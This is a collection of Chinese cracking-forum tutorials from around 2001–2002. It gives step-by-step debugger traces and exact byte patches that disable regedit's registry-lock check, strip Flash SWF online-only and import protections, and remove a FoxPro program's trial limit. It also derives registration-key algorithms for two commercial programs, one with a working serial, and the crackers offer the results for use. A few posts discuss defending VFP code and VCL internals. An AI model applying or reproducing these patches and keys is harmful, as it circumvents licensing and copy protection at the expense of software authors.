017F:0040CD30 0D00000100 OR EAX,00010000
017F:0040CD35 50 PUSH EAX
017F:0040CD36 56 PUSH ESI
017F:0040CD37 FF75FC PUSH DWORD PTR [EBP-04]
017F:0040CD3A FF750C PUSH DWORD PTR [EBP+0C]
017F:0040CD3D FF1504964100 CALL [00419604];这个CALL是弹出禁用窗口的
017F:0040CD43 FF75FC PUSH DWORD PTR [EBP-04]；注意，EIP指向这里
017F:0040CD46 8BF0 MOV ESI,EAX
017F:0040CD48 FF15BC944100 CALL [004194BC]
017F:0040CD4E 8BC6 MOV EAX,ESI
017F:0040CD50 EB05 JMP 0040CD57
017F:0040CD52 B8FFFFFFFF MOV EAX,FFFFFFFF
017F:0040CD57 5F POP EDI
017F:0040CD58 5E POP ESI
017F:0040CD59 8BE5 MOV ESP,EBP
017F:0040CD5B 5D POP EBP
017F:0040CD5C C3 RET
经过两次运行，发现0040CD24和0040CD28都不是判断是否禁用注册表的地方，所以按F10键n次，返回上一层CALL，来到这里：
017F:0040C7B6 E9DD000000 JMP 0040C898
017F:0040C7BB E808020000 CALL 0040C9C8
017F:0040C7C0 85C0 TEST EAX,EAX；这里是判断是否禁用的地方
017F:0040C7C2 741B JZ 0040C7DF
017F:0040C7C4 6A10 PUSH 10
017F:0040C7C6 A100884100 MOV EAX,[00418800]
017F:0040C7CB 6A10 PUSH 10
017F:0040C7CD 6A28 PUSH 28
017F:0040C7CF 6A00 PUSH 00
017F:0040C7D1 50 PUSH EAX
017F:0040C7D2 E8D1040000 CALL 0040CCA8；这个CALL是弹出禁用窗口的。
017F:0040C7D7 83C414 ADD ESP,14；注意，EIP指向这里
017F:0040C7DA E9B9000000 JMP 0040C898
下中断　bpx 40c7c2　，然后退出ICE，再运行注册表编缉器，当执行到40c7c2时中断，修改EIP为40c7df ,按F5，运行正常。
用二进制编辑器打开regedit.exe,查找74 1b 6a 10 a1 00 ,把74改为eb,破解完成。


Flash相关

 标 题:关于showgood的flash动画只能在线观看的破解. (1018字)
发信人:Edea[BCG]
时 间:2002-1-26 15:46:52
详细信息:
终于考完试了，从网上下了一大堆的flash，好好放松放松，其中包括showgood的大话三国系列等等。但当我想打开“浪花一朵朵”的动画时，却出现提示：This movie can only be Viewed at www.showgood.com ，我晕@!#$%@!$#!@#$.....我可是56K的破猫，怎能忍受线上观看呢？！只有想办法破解了。
我先想用我的flash 5打开，提示被保护，下载了Flash Deprotector解除保护也不能编辑，我倒~~~~怎么办呢？这又不是exe文件或dll文件，又不能反汇编，还真给我出了个难题。
不过，Cracker的智慧是无穷的^_^经过N(N<=15)分钟的思考和尝试，俺利用最原始的武器------UEDIT解决了问题，具体步骤如下：

用Uedit打开“浪花一朵朵.swf”文件，在里面查找“showgood”，可以找到几个地方，其中000062c0h这个地方引起了我的注意，右边显示的“bbq movie.showgood.com indexOf bbq1 210.78.159.210 noline _root gotoAndStop”。幸亏俺学过几天flash，看得懂一点点脚本语言，这段代码就是检测是否在showgood.com上观看的关键部分，后面的gotoAndStop就相当于我们平时破解普通软件时的关键跳。把gotoAndStop所对应的16进制码都改成00就可以了。嘿嘿，剩下的就不用我说了吧，把gotoAndStop解决掉就可以了。

一点点经验，与大家共享，不知道还有没有更好的方法^_^


Flash5导入保护SWF动画

 标 题:申请加入BCG的第四篇破文--Flash5导入保护SWF动画的补丁制作 (3千字)
发信人:三根毛
时 间:2001-10-29 3:25:17
详细信息:
Flash5导入保护SWF动画的补丁制作

作者：maomao
软件：Flash5
网上动画标准制作软件
下载：略
工具：Trw2000 v1.23
日期：2001-10-29

说明：现在很多人喜欢保护自己的Flash作品，但这种保护相当脆弱，现在网上流行的许多Flash破解工具，下载后破解即可。但总觉得不是“治本”的办法，而且太麻烦，万一在紧急的情况下找不到这些小小的工具，岂不是要让大侠丢了脸面？本人不幸就遇到一次，不过，嘿嘿，我另有高招~~~拿Flash.exe主文件开刀!

过程如下：
分别运行TRW2000和Flash5，按CTRL+N激活TRW2000，输入bpx messageboxa，F5返回Flash，在Flash菜单中选择“File->import...”引入加壳SWF动画，立即被TRW拦截，下bd *，pmodule后，Flash会弹出一说明框(告诉你无法引入此动画)，不要理它，按“OK”后又被TRW拦截，这时已经到了Flash领空:
0177:008E9564 FF15580DA300 CALL `USER32!MessageBoxA`
0177:008E956A 8BF8 MOV EDI,EAX <=====光标停在这一行
0177:008E956C 892B MOV [EBX],EBP
一直按住F10，经过大约3个RET，直到来到这里：

0177:0064E510 PUSH EAX
0177:0064E511 CALL 004126D9
0177:0064E516 CMP [EBP+FFFFFB00],EBX
0177:0064E51C JG 0064E4E9
0177:0064E51E CMP DWORD [EBP+FFFFFBC8],BYTE +00
0177:0064E525 JZ NEAR 0064E600
0177:0064E52B CMP DWORD [EBP+FFFFFBCC],BYTE +00
0177:0064E532 JNZ 0064E573
0177:0064E534 CMP DWORD [009E4A78],BYTE +00
0177:0064E53B JNZ 0064E54B
0177:0064E53D PUSH BYTE -01
0177:0064E53F PUSH BYTE +10
0177:0064E541 PUSH DWORD 025A
0177:0064E546 CALL 007723CC <=====这就是那个出错的call
0177:0064E54B MOV BYTE [EBP-04],02 <=====光标停在这一行
0177:0064E54F CALL 0064E78C
0177:0064E554 MOV BYTE [EBP-04],00
0177:0064E558 CALL 0064E797
0177:0064E55D MOV DWORD [EBP-04],FFFFFFFF <=====被赋成这个值就玩完了!
0177:0064E564 CALL 0064E7B1

再往上看看，哪里可以绕过出错的call和玩完的赋值？关键在这几个跳转上：

0177:0064E51E CMP DWORD [EBP+FFFFFBC8],BYTE +00
0177:0064E525 JZ NEAR 0064E600 <=====值得怀疑
0177:0064E52B CMP DWORD [EBP+FFFFFBCC],BYTE +00
0177:0064E532 JNZ 0064E573 <=====也值得怀疑
0177:0064E534 CMP DWORD [009E4A78],BYTE +00
0177:0064E53B JNZ 0064E54B <=====这个跳到over上
两个值得怀疑的跳转上都有标志比较，用F9在0177:0064E532 JNZ 0064E573 设断点，运行，重新导入受保护的SWF，果然在这一行打往，并且不跳。下命令r fl z后，用F5运行程序，警告框不见了!但新出来一个密码输入框!!!好家伙，还有一手。
现在在第一个怀疑点0177:0064E525 JZ NEAR 0064E600设断，按F5，再用Flash导入入受保护的SWF，中断后，发现也不跳!用r fl z 修改ZF标志位，再F5运行，嘿嘿嘿嘿，不要密码成功导入了那个该死的SWF!!!看来，只要修改这个jz就万事大吉了。
原来 [EBP+FFFFFBC8]放置文件导入保护标志，0表示没有保护；[EBP+FFFFFBCC]放置密码保护标志，如果上面的标志为0，则不比较密码!

整理一下：
用Ultraedit查找: 83 BD C8 F8 FF FF 00 0F 84 D5 00 00 00 ( CMP DWORD [EBP+FFFFFBC8],BYTE+00
JZ NEAR 0064E600)

改为： 83 BD C8 F8 FF FF 00 E9 D6 00 00 00 90 (CMP DWORD [EBP+FFFFFBC8],BYTE+00
Jmp 0064E600)

大功告成，下次再也不用去找什么flash破解工具了!
收工~~~~~~


MFC42.DLL的符号文件

 标 题:MFC42.DLL的符号文件(896字)
发信人:blowfish
时 间:2002-3-4 13:25:10
详细信息:
1、安装VC（VC6或VC7），VC6对应mfc42.dll，VC7对应mfc70.dll。如果要在MFC的*.nms文件中看到MFC源码，则在安装VC时需要选中MFC source code。不想装VC的话可以找别人要MFC的*.map/*.pdb文件（或干脆要*.nms好了）。

2、装好之后在system32或system目录下就有了MFC的DLL的*.map和*.pdb文件。

3、用softice symbol loader打开MFC DLL（如mfc42.dll、mfc70.dll、msvcrt.dll等），在菜单Module－>Settings－>translation中设置一下。如果只想在SoftICE中看到MFC的符号名，则选择“symbol only”，如果还想看到MFC源码，则选“symbol and source”，并给“package source with symbol”打勾。

4、然后Module－>Translate就可以得到对应的*.nms文件了。symbol loader找不到mfc源码文件时会跳出来问你，指定mfc源码的位置即可。如果不想看mfc源码，则skip all即可。

5、在菜单Edit->Softice Initialization settings－>Symbols中加入刚得到的nms，并扩大相应的buffer的大小，重启SoftICE即可。或者直接打开*.nms并加载，这样不需要重启机器就可以加载*.nms。


VFP的EXE能否压缩

 标 题:VFP的EXE能否压缩(923字)
发信人:GZ-Aming
时 间:2001-10-5 22:40:18
详细信息:
1、您应该知道，VFP是采用伪编译，纯粹是数据的拼合，一经压缩，在DLL解释的时候就不能识别；
2、VFP X.0（X≥5）是PE头+APP的形式组成一个EXE文件，PE头可以压缩，用一般的PE压缩文件就可以压缩，但在操作上只能分开来做，先把PE头提取出来，压缩或加密，再拼合APP文件。20/20的Softsentry 在加密VFP文件时就是这样操作；
3、VFP的EXE能否压缩？答案是肯定的，如果您在编译的时候是采用[NOT ENCRYPTED][DBG]方式的话，采用类WINZIP算法压缩数据流，一般压缩率超过50%，假若采用[加密]方式编译的话，压缩率就不高，一般为原文件大小的90%几，原因是加密方式编译的VFP可执行文件，数据间的“空隙”经加密处理后很小了，所以压不了多少。
但必须注意，你采用自己的算法压缩VFP的可执行文件，必须在DLL解释APP文件的时候自身还原，否则无法执行。类似的软件VFP&EXE就是这样做，故也留下了致命的弱点，我的UNVFP&EXE也就有了面世的机会。

在人们使用VXD炉火纯青的今天，可以不使用VFP&EXE的蠢方法。可惜我的C++不过关，所以一年前要上海交大读计算机的死党辉帮忙写个VXD。 其实，一切都可以做得很好，上帝再给我多点时间来学习VC++ & ASM相信一定会有一个令FOX用户满意的产品的面世，很多东西和思路我都很清晰，理论上也证明了可行，但恨自己功力不够。 假若大学四年我读的是计算机，或许今天就不同了。


人事信息综合管理系统 Ver3.2

 标 题:人事信息综合管理系统 Ver3.2 (完全版本)的破解过程 (7千字)
发信人:zyw[BCG]
时 间:2002-1-20 19:11:49
详细信息:
人事信息综合管理系统 Ver3.2 (完全版本)的破解过程
破解：zyw[BCG]
软件简介：软件以中组部《干部履历表》为蓝本，软件实行注册使用，对注册用户提供无限制升级服务。主程序的升级不会影响数据的安全。该软件可以稳定运行于Windows9X、Me、Windows2000 、Windows XP
下载地址:http://my8995.myetang.com/down/pdhs.exe 3760kb
注册价格：50 元/套目标：找出注册码
破解工具：language2000 ，UnFoxAll ，Ultraedit ，
目标：找出成为合法的注册用户的注册码
++++++++++++++++++++++++++++++++++++++++++++++++++++++
安装完毕后想用language2000查看一下，在打开时看主文件是一个狐狸头，language2000报是vc++程序，用UnFoxAll 2.00版反编译成功，有一个rs_zhuce.sct文件，用Ultraedit打开源程序：

......

Caption = "开始注册"
MousePointer = 99
MouseIcon = hand-m.cur
Name = "Command2"
PROCEDURE Click
text_sn=thisform.text1.value+thisform.text2.value+thisform.text3.value+thisform.text4.value
if len(alltrim(text_sn))=16.and.int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))<=14
sn_sub=int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))
if sn_sub<>0
sn=substr(text_sn,sn_sub,1)
else
sn=substr(text_sn,15,1)&&如果取值为0，第15位是Z
endif
do case
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=0.and.sn='Z'.and.substr(text_sn,16,1)='0'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=1.and.sn='A'.and.substr(text_sn,16,1)='1'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=2.and.sn='B'.and.substr(text_sn,16,1)='2'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=3.and.sn='C'.and.substr(text_sn,16,1)='3'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=4.and.sn='D'.and.substr(text_sn,16,1)='4'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=5.and.sn='E'.and.substr(text_sn,16,1)='5'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=6.and.sn='F'.and.substr(text_sn,16,1)='6'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=7.and.sn='G'.and.substr(text_sn,16,1)='7'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=8.and.sn='H'.and.substr(text_sn,16,1)='8'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=9.and.sn='I'.and.substr(text_sn,16,1)='9'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=10.and.sn='J'.and.substr(text_sn,16,1)='0'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=11.and.sn='K'.and.substr(text_sn,16,1)='1'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=12.and.sn='L'.and.substr(text_sn,16,1)='2'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=13.and.sn='M'.and.substr(text_sn,16,1)='3'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=14.and.sn='N'.and.substr(text_sn,16,1)='4'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
OTHERWISE
=messagebox('注册序号不正确，无法完成注册，请索取正确的注册号',0+16,'提示')
endcase
else
=messagebox('注册序号不正确或不完整，无法完成注册，请索取正确的注册号',0+16,'提示')
endif
thisform.release

......

程序根据安装序号(随机出)对应注册码，本机安装序号是：20020112120831
分析：1 看安装序号soft_sn第13，14位相加为几? 本机的是：3+1=4
2 到条件是4的case看
case int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))=4.and.sn='D'.and.substr(text_sn,16,1)='4'
=messagebox('注册成功。祝贺您成为合法的注册用户，您将获得无限制的免费升级服务。',0+64,'提示')
select rs_user
replace sp with .t.
sp_time=.t.
成功条件：注册码中有字符"D" (sn="D") and 注册码第16位=4

向上看
text_sn=thisform.text1.value+thisform.text2.value+thisform.text3.value+thisform.text4.value
以上一句是:注册码值的算法

if len(alltrim(text_sn))=16.and.int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))<=14
以上一句是:注册码位位都要输入 and ????(不知什么用)

sn_sub=int(val(substr(soft_sn,13,1)))+int(val(substr(soft_sn,14,1)))
以上一句是:sn_sub=安装序号的第13，14位相加取整 本机的是：3+1=4

if sn_sub<>0
sn=substr(text_sn,sn_sub,1)
以上二句是：sn值的算法 本机的sn是"D" 则sn=substr(test_sn,4,1)="D"

推断出注册码值可能是：000D-0000-0000-0004 ?

输入该码，成功注册!!! 朋友可对号入座(case),便能注册^_^

总结一下： Name :zyw[BCG]
安装序号:20020112120831
注册码 :000D-0000-0000-0004

文章纯粹研究该软件的注册过程，已很久无发布信息了，看了一下论坛有很多的新朋友，真是可喜可贺!
最后，恭祝大家新年快乐！万事胜意！今天“大寒”，广州市很冷******
破解人： zywicbc
Beginner's Cracking Group
2001.01.12 18：30

标 题:都是作者偷懒惹的祸！ (1千字)
发信人:- Aming -
时 间:2002-1-20 22:11:26
详细信息:

作者没有将调试信息去掉，Method 有源代码的存在，导致被人轻易发现。对大多数面向对象的语言来说，总是对象与事件对应的，表单的空壳都可以给别人轻易得到（VB、DELPHI、VFP等），我们最关心的是代码泄露问题。
表单代码加密的方法大概有以下几种：
1、去掉调试信息。
经过这种方法处理后的表单，在VFP的设计环境中看不到代码的存在，且修改后的表单不能正常保存，直至反编译者的硬盘充满为止。但经过重新编译再打开表单就可以看到所有代码。 Compile Form *.SCX
2、重复步骤一，把“重新编译可见代码”的后门堵上。
方法 A：修改代码指针，表单照样正常运行，但无论你怎么再重新编译，照样看不到代码；
方法 B：在 Method 中设下“陷阱”，表单可正常运行且不会让别人看到代码，但只要反编译者企图用重新编译表单的方法来获取源代码的话，表单会自动破坏，再次打开表单时VFP会说是一个无效的编译表单然后退出；
方法 C：在表单中加入伪事件，也就是平常所说的Anti技术了，可以令REFOX反编译时内存溢出，UNFOXALL在反编译时出现蓝屏，使用VFP重新编译时VFP出现非法操作；
方法 D：给编译后的表单作“手术”，采用明文类REFOX8 I+的代码偏移，理论上可做 4295033104 种（位）不同的偏移，不进行（懂得）复位计算的反编译者当然无从下手了。^_^
当然，你可以把A、B、C、D整合在一起用，这样肯定会令反编译者大感头疼，即使对手是一个很有经验的反编译者。最后，祝VFP作者们好运！
Aming
于广州寒冷的夜，想着 Lynn 和惦着 YY 的夜


如何让您的VFP程序更安全

 标 题:如何让您的VFP程序更安全？对VFP程序员的一点忠告。 (1千字)
发信人:-明-
时 间:2001-11-21 20:28:27
详细信息:

如何让您的VFP程序更安全？对VFP程序员的一点忠告。

1、检测注册的程序不要用VFP语言来写，用其他语言写一个DLL，
用VFP代码来调用；
2、编译的时候请将“加密”选项打勾，并将“调试信息”去掉，
这样可以防止一般解密者对VFP程序进行“暴力”破解，一般的
解密者也不能直接看到表单中的代码；
3、检测注册码的程序不要放在表单中；
4、加密工具的选择：不要过分迷信VFP&EXE，本身其自称对编译
采用“不加密”方式的EXE能压缩50%以上，本身就为破解者留了
后门；
5、用好你手中的REFOX8，很多人知道REFOX是个反编译工具，却
不知道她是一个很好的VFP加密工具，REFOX8中提供3中加密方式，
既 BRAND I、I+、II，其中I、I+不需要修改运行库，II修改运行
库。对于使用REFOX8 BRAND I+ 加密的程序，UNFOXALL包括增强
专业版都不能正确识别，对文件的偏移会产生移位，配合修改结
构可以识别大部分文件，但不能正确识别PRG文件（解密引擎出
了差错），因此，只要您采用REFOX8 BRAND I+加密，多使用PRG
文件，或通过工具将SCX、VCX、FRX等转化成PRG，大部分的反编译
者（解密者）都会望而却步。除加密狗外，REFOX8 BRAND I+应该
是目前流行的加密FOX程序中最好的方法了。如果使用REFOX8配合
内部偏移，能解密的人就屈指可数了。

=========================================================
另外，防止UNVFP&EXE与断剑的泛滥使用，我很快会推出一个叫
FOXDOG的东东—— 一个DLL，只要调用一个FOXDOG函数就能ANTI
目前流行的所有跟踪、查看、监控系统了。100%防止断剑于内存
扫描。矛与盾的对话是永远不会休止的。^_^ 自相矛盾！？
=========================================================
其实防UNVFP&EXE的方法很多，只是没人去分析而已，平心而论，区区
两三行代码就搞定了。防断剑更不用说了。

////////////////////////////////////////////////////////////
很多人问到为何很多程序用UNFOXALL反编译后不能看到表单的代码呢？
////////////////////////////////////////////////////////////
很简单，作者去掉了表单中的调试信息。
恢复方法，在VFP中重新编译表单即可。
用法：comp form *.scx 例如：REG.SCX，则为 comp form reg.scx

好了，先说这么多了。
Aming


胜新库管王6.01

 标 题:BCG和FCG的作业，请PETER大哥笑纳，胜新库管王601版完美破解！！！ (2千字)
发信人:xy2000[BCG]
时 间:2001-9-14 21:03:06
详细信息:
胜新库管王6.01版破解(应罗降神的要求所写)

作者:XY2000[BCG]
时间:2001,9,14
下载地址:www.sx188.com

在听了BCG的COOLJIANG的一些提示后,破解成功,把过程写出来,供大家参考

6.01版在软件使用上做了很多改动,功能上也强大了很多,速度还快了不少

软件是用VFP写的,用VFP&EXE改的壳
好,我们先拿出VFP&EXE的克星品琳居的UNFOX&EXE1.6精简版,如果要是能有
标准版和品琳居的FOXKILL,那可真是爽死了,VFP的程序那破解起来,可就真是不费
吹灰之力了,可惜我没有,谁如果有就好了

费话少说,用UNVFP&EXE 1.6脱壳成功后,会生成一个SXKGW601G.APP文件和一个已
脱壳的SXKGW601G.EXE(已脱壳)文件.

拿出我们反编译VFP的拿手武器UNFOXALL2.1专业版(专业版和2.0版有不少改进)

反编译SXKGW601G.APP,不一会反编译成功(大家最好能把反编译成功的文件保存在F:
胜新软件备份\SXKGW601目录下,因为程序中很多表单中的图标地址指向这个目录)
选反编译的第三项生成工程文件,生成一个SXKGW601.PJX工程文件,好打开VFP,打
开生成的SXKGW601.PJX工程文件,可以看到有文档下的表单中有很多表单,打开其中
的CPRK.SCX,CPCK.SCX,CPDK.SCX,CPTK.SCX,CPJC.SCX,CPHH.SCX(这些表单都限制了
软件的存盘单据不能大于100张,在表单的属性中,我们也可以看到我刚才所说的图标
的地址),选择单据存盘按钮,按右键选择属性,在属性窗口中选择过程,点CLICK ENENTS
出现用户自定义过程的字样,打开后在语句的最上面的代码可以看到IF JSCC>100
则如何,这里就是程序限制的地方,就是把存盘的单据的文件的记录数取出放在JSCC
如果大于100,则出现要注册的提示,好的我们把这里全部改成JSCC>100000000,也就是
一个非常大的数,让他不会出现要注册的提示并且我们的单据能存盘就行了.

全部改过后,重新编译这个工程文件,选择重新编译全部文件和显示错误,上面选生成EXE文件,
选好点确定,就OK了(注移走工程文件中的程序中的一个MAINPRG.PRG,就是文件名不是粗体
的那一个,编译后会出现一些错误,这些错误不会影响程序的运行,因为时间的原因,我明后天
找出解决办法告诉大家)

到此破解完成,大家可以放心用了,
(补充:胜新库管王的6.01的注册窗口是一个欺骗窗口,我看了看代码,无论你输入
什么,他都会出现你使用的是试用版的窗口.
谢谢COOLJIANG提示,让我少走了很多弯路,谢谢)

请转载时务必保持完整,谢谢!!!!!

XY2000[BCG] 写于9月14日20:50

*********************************
* Beginner's Cracking Group *
* *
* http://bcg.longcity.net *
* *
* BCG大本营 *
*********************************


数据大师3.17

 标 题:数据大师3.17破解心得！（我对vfp的程序很头疼呀！） (1千字)
发信人:nzg
时 间:2001-12-4 18:53:12
详细信息:
破解者：nzg
来自：青岛
破解时间：2001-12-04
破解工具：unvfpexe 1.6测试版
vfp6.0

软件简介：
    《数据大师》—通用信息（数据库）管理系统，是专门针对各行政、企事业单位不同管理
需求而设计的能充分发挥操作人员创造力的傻瓜式通用信息管理软件。该软件用Vfp6.0设计，
能用于任何单位的工资、人事、客户资料、固定资产、商务、学籍成绩、中介信息等等

首先你要知道它使vfp编的，（压缩过，脱壳以后就可以看到，脱壳后也可以用unfoxall反编译！）
然后用unvfpexe 1.6测试版还原为*.app文件，然后就可以用写字板打开它，找到关键位置：

commandbutton
Left = 232
Height = 21
Width = 70
FontName = "宋体"
FontSize = 9
Caption = "现在注册"
ToolTipText = "确认输入的注册码"
Name = "Command1"

if used('hd_dwqkk')
sele hd_dwqkk
else
sele 0
use hd_dwqkk
endi
repl 单位名称 with thisform.text3.value
repl 联系人 with thisform.text4.value
repl 联系电话 with thisform.text5.value

x=val(thisform.text1.value)
~~~~~~~~~~~~~~~~~~~~~~~~~~
zcm=bitxor(x,x/2+19620422)
~~~~~~~~~~~~~~~~~~~~~~~~~~~
if val(thisform.text2.value)=zcm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
（此处为关键，至于怎么比较，傻子也看得明白！其中x就是你的机器号。估计19620422是作者的生日，嗬嗬，好玩！！）

messagebox('注册成功，祝贺您获得《数据大师》永久使用权！',48,tytsck)
clos all
use hdcsk
repl 注册码 with (thisform.text2.value)
clos data all
xtzcm_jc()
rele thisform
else
do form 联系注册表单
*messagebox('注册码不对！',48,tytsck)
endi
clos all

好了！现在算法看明白了！如果你对vfp懂那么一点点！自己算号吧！
要是你像我一样连bitxor都不知道是干什么的，那么你继续往下看：
装一下vfp吧！
建立一个新的程序文件：
然后敲一下的东西：
x=.....(你的机器号）
y=0
y=bitxor(x,x/2+19620422)
? y
运行一下 ok!!! y的值就是你想要得的注册码呀！

小弟对vfp一点也不理解，有不对之处一定恳请各位批评！

青岛阿牛 2001-12-04


Delphi程序

 标 题:Crack之亲历手迹3--Delphi程序中是如何获得一个Edit的Text内容的 (1千字)
发信人:y97523
时 间:2002-3-9 19:58:37
详细信息:
Crack之亲历手迹3--Delphi程序中是如何获得一个Edit的Text内容的
----------Crack之亲历手迹2--我的第一个注册机----之续集
//--------------------------------------------------------------
实验工具：IDA Pro、Delphi 6、SoftICE4.05
实验目的：发现Delphi编的程序如何获得文本框（Edit）的数据(Text)而不用API函数
//--------------------------------------------------------------
1.用Delphi编个简单的试验程序
一个Form包含一个Edit、一个Button、代码如下
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(Edit1.Text);
end;
-------^~
而Edit.text好像是调用下面的类似函数（从IDA的反汇编可以看出，不过那叫TControl::GetText）
//摘录自Delphi6的source\vcl\controls.pas目录
function TControl.GetTextBuf(Buffer: PChar; BufSize: Integer): Integer;
begin
Result := Perform(WM_GETTEXT, BufSize, Longint(Buffer));
//Perform(Msg: Cardinal; WParam, LParam: Longint): Longint;
//Responds as if the control received a specified Windows message.
end;
从中我们可以看出Delphi时通过Perform函数直接模拟向Edit发送WM_GETTEXT消息来获得Text的内容的！
注意这个WM_GETTEXT消息发送是模拟的，你用BPX MSGFUN时栏不到的，其实是通过Call WndProc的方式！
2。用IDA反汇编1中的exe同样可见到
call @TControl@GetText ;
//--------------------------
@TControl@GetText proc near
...
call unknown_libname_169
...
//--------------------------
unknown_libname_169 proc near
...
call @Controls@TControl@Perform$qqruiii ; Controls::TControl::Perform(uint,int,int)
...
3.结论：Delphi通过向Edit发送WM_GETTEXT（直接调用WNDProc,而没有使用消息函数）消息来获得Text的内容的！
GetText(){
Call WndProc(WM_GETTEXT)；
}
|
WndProc(Msg){
DefWndProc(Msg);
}
Text的自值由DefWndProc系统函数给出！
附：看来Borload的那些家伙写出的东西的确与众不同

Email:y97523@hotmail.com


断点失效的简单分析

 标 题:关于Delphi/BCB程序中GetWindowTextA/GetDlgItemTextA断点为何失效的简单分析 (7千字)
发信人:blowfish
时 间:2001-12-28 17:02:39
详细信息:
VCL中标准的单行编辑控件TEdit和多行编辑控件TMemo在类树中的派生关系如下：

TObject -> TPersistent -> TComponent -> TControl -> TWinControl -> TCustomEdit -> TEdit

TObject -> TPersistent -> TComponent -> TControl -> TWinControl -> TCustomEdit -> TCustomMemo -> TMemo

以TEdit为例，来看一下它是如何获取控件中的字符串的，把这个过程（也就是VCL内部处理消息的过程）搞清楚了，就能够知道该设什么样的断点来监视这个获得字符串的过程，从而找到我们输入的注册码在内存中的存放位置，进而可以通过BPM/BPR断点来跟踪对注册码的处理过程。

TEdit用来存放字符串的属性是Text，该属性继承自TControl。读取该属性的函数是私有函数GetText( )。
（以下代码来自VCL的源码stdctrls.pas、control.pas、system.pas、sysutils.pas）

//----------------------------------------------------------------------------------------------------
TWndMethod = procedure(var Message: TMessage) of object;

TControl = class(TComponent)
private
FWindowProc: TWndMethod;
FText: PChar;
function GetText: TCaption;
procedure SetText(const Value: TCaption);
......
protected
property Text: TCaption read GetText write SetText;
procedure WndProc(var Message: TMessage); virtual;
......
public
function GetTextBuf(Buffer: PChar; BufSize: Integer): Integer;
function GetTextLen: Integer;
procedure SetTextBuf(Buffer: PChar);
function Perform(Msg: Cardinal; WParam, LParam: Longint): Longint;
property WindowProc: TWndMethod read FWindowProc write FWindowProc;
......
end;

//----------------------------------------------------------------------------------------------------

GetText( )函数及相关函数的定义如下。可见，TControl最终是以WM_GETTEXTLENGTH和WM_GETTEXT消息为参数直接调WndProc( )的。

//----------------------------------------------------------------------------------------------------
function TControl.GetText: TCaption;
var
Len: Integer;
begin
Len := GetTextLen;
SetString(Result, PChar(nil), Len);
if Len <> 0 then GetTextBuf(Pointer(Result), Len + 1);
end;

function TControl.GetTextLen: Integer;
begin
Result := Perform(WM_GETTEXTLENGTH, 0, 0);
end;

function TControl.GetTextBuf(Buffer: PChar; BufSize: Integer): Integer;
begin
Result := Perform(WM_GETTEXT, BufSize, Longint(Buffer));
end;

procedure TControl.SetTextBuf(Buffer: PChar);
begin
Perform(WM_SETTEXT, 0, Longint(Buffer));
Perform(CM_TEXTCHANGED, 0, 0);
end;

procedure TControl.SetText(const Value: TCaption);
begin
if GetText <> Value then SetTextBuf(PChar(Value));
end;

function TControl.Perform(Msg: Cardinal; WParam, LParam: Longint): Longint;
var
Message: TMessage;
begin
Message.Msg := Msg;
Message.WParam := WParam;
Message.LParam := LParam;
Message.Result := 0;
if Self <> nil then WindowProc(Message);
Result := Message.Result;
end;

